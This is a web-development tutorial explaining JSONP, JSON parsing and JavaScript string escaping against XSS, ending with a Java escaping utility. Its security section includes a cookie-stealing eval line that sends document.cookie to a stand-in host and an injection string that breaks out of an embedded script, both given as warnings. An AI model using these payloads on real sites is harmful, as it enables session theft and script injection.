JSONP -- a cross-domain alternative to AJAX

AJAX utilizes XMLHttpRequest (XHR) APIs to send HTTP(s) requests to a web server and load server response directly in client-side script. XHR is the backbone of AJAX. It is widely used in so called web 2.0 applications, e.g. Google Gmail, Google Maps, and Facebook. Many libraries such as JQuery and YUI build on top of XHR to abstract the details and provide easy-to-use APIs for web developers and designers.

Unfortunately, XHR has a limitation. Due to the same origin policy, the server that receives the XHR requests and the client that sends out the requests need to be in the same domain. For example, the JavaScript in the page at www.example.com/demo.html can send out XHR request to www.example.com/service.php, however, it cannot send XHR requests to www.anotherexample.com/service.php, because example.com and anotherexample.com are two different domains.

Although it is meant to enforce web security, this policy created a common problem for web applications that need to consume external data (the data from external domain).

One of the solutions is to inject JavaScript coming from the external domain to the client page of the targeted domain. Because the injected JavaScript is evaluated in the client page, the script is treated as being from the same domain.

The following script inserts a "<script>" element to the head. The source of the inserted script points to the feed service at www.externaldomain.com, and passes along the "tag" parameter.

<script type="text/javascript">

var elHead = document.getElementsByTagName("head")[0];         
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = 'http://www.externaldomain.com/services/feed?tag=gaming';
elHead.appendChild(script);

</script>

The feed service at www.externaldomain.com takes the "tag=gaming" parameter as an input argument, retrieves a list of feeds related to gaming, and convert the gaming feeds into a JSON string. For example:

'{"feeds" : [ { "title" : "game1", "date" : "03-21-2011", "author" : "David Smith" }, { "title" : "game2", "date" : "03-22-2011", "author" : "Steve Yavorski" }, { "title" : "game3", "date" : "04-05-2011", "author" : "Kelly Lee" } ]}'

However, the service at externaldomain.com can not simply return this JSON string as response data. The "src" attribute of the script element that we're injecting should point to a JavaScript instead of a JSON string. The JSON string itself cannot be evaluated to lines of runnable JavaScript code. So what we need to do is to wrap the JSON string in JavaScript.

<script type="text/javascript">
var responseText = '{"feeds" : [ { "title" : "game1", "date" : "03-21-2011", "author" : "David Smith" }, { "title" : "game2", "date" : "03-22-2011", "author" : "Steve Yavorski" }, { "title" : "game3", "date" : "04-05-2011", "author" : "Kelly Lee" } ]}';
</script>

The above JavaScript code will be executed in the client page. JavaScript in the page is now able to parse variable responseText to get the gaming feeds.

<script type="text/javascript">
var feeds = parseJsonStr(responseText); // parseJsonStr is a pseudo function
</script>

What we did above can be summarized as below:

• Inject a "<script>" element to the HTML head
• Point the "src" attribute to an external service that takes parameters and gets response data
• Wrap the response data in JavaScript
• Reference and parse the response data in JavaScript

The 3rd step "Wrap the response data in JavaScript" is also called JSON Padding, and this is where JSONP comes from.

The above approach has two problems. First, we don't quite know when the injected script finishes loading and when the responseText variable is ready to be consumed. Second, we don't want to hardcode the variable name to "responseText". The server shouldn't dictate what name the variable should be. To fix these problems, we can implement a callback function that will be invoked when the response is ready.

<script type="text/javascript">
function callback(responseText /* or whatever name you want to give */) {
  var feeds = parseJsonStr(responseText);

  // Do something about feeds ...

}
</script>

On the server side, the generated JavaScript will call the callback and pass in the JSON string as an input argument to the function:

<script type="text/javascript">
callback('{"feeds" : [ { "title" : "game1", "date" : "03-21-2011", "author" : "David Smith" }, { "title" : "game2", "date" : "03-22-2011", "author" : "Steve Yavorski" }, { "title" : "game3", "date" : "04-05-2011", "author" : "Kelly Lee" } ]}');
</script>

This way, we captured the moment when the response is available, and removed the naming of the JSON string from the server side.

To make things better, the name of the callback function should not be hardcoded either. We can tell the server which callback function to call by passing the name of the callback function in the URL. Here we adjust the JavaScript injecting code a bit.

<script type="text/javascript">

function onDataReceived(responseText) {
  var feeds = parseJsonStr(responseText);

  // Do something about feeds ...

}

var elHead = document.getElementsByTagName("head")[0];         
var script = document.createElement('script');
script.type = 'text/javascript';

// callback=onDataReceived
script.src = 'http://www.externaldomain.com/services/feed?tag=gaming?callback=onDataReceived';

elHead.appendChild(script);

</script>

The server-side code takes the "callback=onDataReceived" parameter and passes the JSON string to the onDataReceived callback function:

<script type="text/javascript">
onDataReceived('{"feeds" : [ { "title" : "game1", "date" : "03-21-2011", "author" : "David Smith" }, { "title" : "game2", "date" : "03-22-2011", "author" : "Steve Yavorski" }, { "title" : "game3", "date" : "04-05-2011", "author" : "Kelly Lee" } ]}');
</script>

Implementation summary

What client side needs to do?

• Inject a "<script>" element to the HTML head
• Encode input arguments as query parameters into the URL of the script element's src attribute
• Include the name of the callback function to the URL
• Point the src attribute to an external service
• Define the callback function that takes JSON string as input argument
• Parse the JSON String in the callback function

What server side needs to do?

• Implement service code to answer the client requests, and expose the service through HTTP(s)
• Get all input arguments from the query parameters
• Get the callback function name
• Convert response data into JSON string
• Pass the JSON string to the callback function

Security concern

The technique of the JavaScript injection is also employed in some Cross-site Scripting (XSS) attacks. Since the consumer of the external service has no control of the returned script, the consumer can be vulnerable to XSS attacks that are introduced by the returned script from the external service. It is recommended only applying this technique for trusted external services.

JSON parsing, encoding, and security

JSON is a subset of JavaScript. Unlike other data formats such as XML, JSON can be used in JavaScript without big efforts. This is the main reason why JSON is widely beloved among web developers.

JSON string such as "{name: 'David'}" can be put into an eval function. eval function will call JavaScript interpreter and convert the string into a JSON object: {name: 'David'}.

var jsonStr = "{name: 'David'}";
var jsonObj = eval( "(" + jsonStr + ")" ); 
// jsonObj will be {name: 'David'}

This all looks easy. However, here comes the problem: eval function will execute whatever passed in. If jsonStr is "alert('Gotcha');", eval("alert('Gotcha');") will actually execute the alert call. This opens a wide door to cross-site scripting (XSS) attacks. For example, consider the following string passed in an eval function:

eval(
  '(new Image()).src = 
    "http://www.givemeyourcookie.com/steal_cookie?cookie=" + 
    escape(document.cookie);'
)

The above code will send your cookie to givemeyourcookie.com.

To fix this vulnerability, it is recommended to use a JSON parser to convert strings into JSON objects. A parser in some browsers which provide native JSON support can be even faster than the eval function.

Like the eval function, a JSON parser takes a string and outputs a JSON object. The difference is that the parser will process only when the passed-in string is a valid JSON string. For example, the JSON parser from YUI JavaScript library will throw a SyntaxError if the JSON string contains anything that violates JSON syntax.

var jsonStr = 'alert("Gotcha"); {"name" : "David"}';
var jsonObj = YAHOO.lang.JSON.parse(jsonStr); // SyntaxError

With a correct JSON string, the following code will run.

var jsonStr = '{"name" : "David"}';
var jsonObj = YAHOO.lang.JSON.parse(jsonStr);
alert(jsonObj.name); // Prompt "David"

Using JSON parser certainly solves the eval problem. However, this is only half of the story. We web developers usually use scripting language such as PHP or JSP to embed dynamic parts to a page. When we do that, we need to be careful about what we embed.

<script type="text/javascript">
  var jsonObj = 
    YAHOO.lang.JSON.parse('<s:property value="userProfile" />');
</script>

<s:property> is a tag from Struts 2 (a popular MVC framework in Java). What it does is getting a property, in this case a string representation of a userProfile, and embedding the property inside a pair of single quotes to construct a javascript string. The parse function then converts this string to a JSON object.

This will work fine if the userProfile property is a normal user profile:

<script type="text/javascript">
  // userProfile property is { "name": "David", "hobby": "Blogging" }. 
  var jsonObj = 
    YAHOO.lang.JSON.parse('{ "name": "David", "hobby": "Blogging" }');
</script>

However, code will break if the userProfile property is:

{ "name": "David", "hobby": "Blogging in Peet's Coffee" }

The single quote in "Blogging in Peet's Coffee" will prematurely terminate the string, which breaks the JavaScript syntax.

<script type="text/javascript">
  // { "name": "David", "hobby": "Blogging in Peet's Coffee" }. 
  var jsonObj = YAHOO.lang.JSON.parse(
    '{ "name": "David", "hobby": "Blogging in Peet' // Broken
    s Coffee" }');
</script>

Things could be even worse when userProfile is something like this:

{ "name": "David", "hobby": ""}');alert("Evil script goes here");</script>"}

Pass this property to the parse function, and you will get:

<script type="text/javascript">
  var jsonObj = YAHOO.lang.JSON.parse(
    '{ "name": "David", "hobby": ""}');alert("Evil script goes here");</script>"}');
</script>

This is equivalent to:

<script type="text/javascript">
  var jsonObj = YAHOO.lang.JSON.parse('{ "name": "David", "hobby": ""}');
  alert("Evil script goes here");
</script>
"}');
</script>

The above code will run despite the fact that the second </script> tag doesn't have a matched <script> tag. It's pretty scary that a raw JSON string could introduce such XSS attack to your web application, isn't it?

To fix the problem, we need to escape the single quote. We can use unicode \u0027 (equivalent to character ').

<script type="text/javascript">
  var jsonObj = YAHOO.lang.JSON.parse(
      '{ "name": "David", "hobby": "Blogging in Peet\u0027s Coffee" }');
</script>

In real world, all user inputs and database data need to be JavaScript-string escaped if they are directly embedded into JavaScript or event handler attributes (e.g. onclick). Single quote is just one of the characters that we need to escape. Here is a list of such characters and their escapes.

Character	Escape	Description
\	\\	Backslash
"	\u0022	Double quote
'	\u0027	Single quote
<	\u003c	Less than
>	\u003e	Greater than
=	\u003d	Equals
&	\u0026	Ampersand

I created a Java utility class to escape all these characters. The essential part looks like this:

// A map of characters and their escapes
private static Map<String, String> _mapChar2Escape = 
  new LinkedHashMap<String, String>();

static
{
  // Be sure to have backslash at first.  
  // We don't want to escape backslashes in escaped characters.
  _mapChar2Escape.put("\\", "\\\\");    // Backslash
  _mapChar2Escape.put("\"", "\\u0022"); // Double quote
  _mapChar2Escape.put("'", "\\u0027");  // Single quote
  _mapChar2Escape.put("&", "\\u0026");  // Ampersand
  _mapChar2Escape.put("<", "\\u003c");  // Less than
  _mapChar2Escape.put(">", "\\u003e");  // Greater than
  _mapChar2Escape.put("=", "\\u003d");  // Equals
}

/**
 * Returns a new string that has JavaScript literals escaped.
 * 
 * @param strSource Source string
 * @return
 */
public static String escapeJavaScript(String strSource)
{
  String strEscaped = strSource;

  for (Map.Entry<String, String> entry : _mapChar2Escape.entrySet())
  {
    strEscaped = strEscaped.replace(entry.getKey(), entry.getValue());
  }

  return strEscaped;
}

That's it.